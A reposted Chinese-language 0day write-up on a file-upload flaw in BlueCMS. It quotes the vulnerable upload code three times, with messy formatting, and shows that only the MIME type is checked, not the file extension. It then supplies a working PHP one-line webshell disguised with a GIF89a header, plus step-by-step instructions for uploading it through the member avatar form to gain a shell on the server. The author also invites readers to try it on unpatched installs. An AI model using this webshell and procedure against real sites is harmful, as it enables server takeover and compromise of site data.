文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>BlueCms漏洞文件头欺骗上传一句话拿shell

BlueCms漏洞文件头欺骗上传一句话拿shell

时间:2010-11-11  来源:linuxfly

0day,BlueCms漏洞文件头欺骗上传一句话拿shell
来源:互联网
  BlueCMS(地方分类信息门户专用CMS系统)注:不好意思了,作者早上才发的版本,晚上就叫偶给报了个0DAY,通知了下作者,刚去官方看了一下,已发布了安全补丁,很快啊..大家可以去网上下没更新版本进行测试... 唉,群里一个朋友发了一个CMS,说用户资料修改部分可能存在注入,说一起分析,本地安装好后发现,没法利用,在magic_quotes_gpc=off的情况下,单引号被转义了。。。 看到include/common.inc.php中的这行,放弃。。 123456789 ......
        if(!get_magic_quotes_gpc())
        {
        $_POST
        = deep_addslashes($_POST);
        $_GET
        = deep_addslashes($_GET);
        $_COOKIES
        = deep_addslashes($_COOKIES);
        $_REQUEST
        = deep_addslashes($_REQUEST);
        }......
也许是st0p的运气好,看到有上传图片的部分,分析了一下代码,在user.php中发现利用的东西。。 123456 require_once(BLUE_ROOT .
        'include/upload.class.php');
        //调用上传类
        $image
        =
        new upload();
        if(isset($_FILES['face_pic']['error'])
        &&
        $_FILES['face_pic']['error']
        ==
        0){
        $face_pic
        =
        $image->img_upload($_FILES['face_pic'],
        'face_pic');
        
        //没检测后缀直接带入,类中要是也没有就能传SHELL了
        }

打开include/upload.class.php发现,只是检测了文件头,没有检测后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
......
class upload {
private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
......
function img_upload($file, $dir = '', $imgname = ''){
if(empty($dir)){
$dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
}else{
$dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
}

if(!file_exists($dir)){
if(!mkdir($dir)){
showmsg('上传过程中创建目录失败');
}
}
if(empty($imgname)){
$imgname = $this->create_tempname().$this->get_type($file['name']);
}
$imgname = $dir . $imgname;
if(!in_array($file['type'],$this->allow_image_type)){
//只是检测了文件头部来着,那我们就直接构造一个SHELL就好了
showmsg('不允许的图片类型');
}


}

打开include/upload.class.php发现,只是检测了文件头,没有检测后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
......
class upload {

private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg');
......
function img_upload($file, $dir = '', $imgname = ''){
if(empty($dir)){
$dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
}else{
$dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
}

if(!file_exists($dir)){
if(!mkdir($dir)){
showmsg('上传过程中创建目录失败');
}
}
if(empty($imgname)){
$imgname = $this->create_tempname().$this->get_type($file['name']);
}
$imgname = $dir . $imgname;
if(!in_array($file['type'],$this->allow_image_type)){
//只是检测了文件头部来着,那我们就直接构造一个SHELL就好了
showmsg('不允许的图片类型');
}


}

 

打开include/upload.class.php发现,只是检测了文件头,没有检测后缀

123456789101112131415161718192021222324252627 ......class upload {
        private
        $allow_image_type
        =
        array('image/jpg',
        'image/gif',
        'image/png',
        'image/pjpeg');......
        function img_upload($file,
        $dir
        =
        '',
        $imgname
        =
        ''){
        if(empty($dir)){
        $dir
        = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
        }else{
        $dir
        = BLUE_ROOT.DATA.UPLOAD.$dir."/";
        }
        
        if(!file_exists($dir)){
        if(!mkdir($dir)){       showmsg('上传过程中创建目录失败');
        }
        }
        if(empty($imgname)){
        $imgname
        =
        $this->create_tempname().$this->get_type($file['name']);
        }
        $imgname
        =
        $dir
        .
        $imgname;
        if(!in_array($file['type'],$this->allow_image_type)){
        //只是检测了文件头部来着,那我们就直接构造一个SHELL就好了      showmsg('不允许的图片类型');
        }
        
        
        }

把以上内容另存为st0p.php

1
2
GIF89a
<?php eval($_POST[st0p]);?>

注网帐号,登陆,会员中心-->我的个人资料,然后上传新图像选咱们构造的PHP文件,点确认修改,成功后,直接在照片上右击查看地址就行了。。一句话SHELL上传成功!

分析完毕,嘿嘿,希望大家多交流,这些东西发出来只是想多认识些朋友,一起讨论技术,开设群也是这样,由于只是普通群,只能有100人,今天清理了下从未说话的人,竟被人说我在装B乱T人,郁闷,开群就是为了交流,不说话一直占位有何用,想进步的话,孤高之路不可走!
如果你进群只是为了从别人那得到别人的讨论成果,不知道付出或只是加进来潜水的,那还是不加的好。。。

相关阅读 更多 +
排行榜 更多 +
打螺丝高手

打螺丝高手

模拟经营 下载
解救火柴人计划安卓版

解救火柴人计划安卓版

体育竞技 下载
鸡生化精英安卓版

鸡生化精英安卓版

飞行射击 下载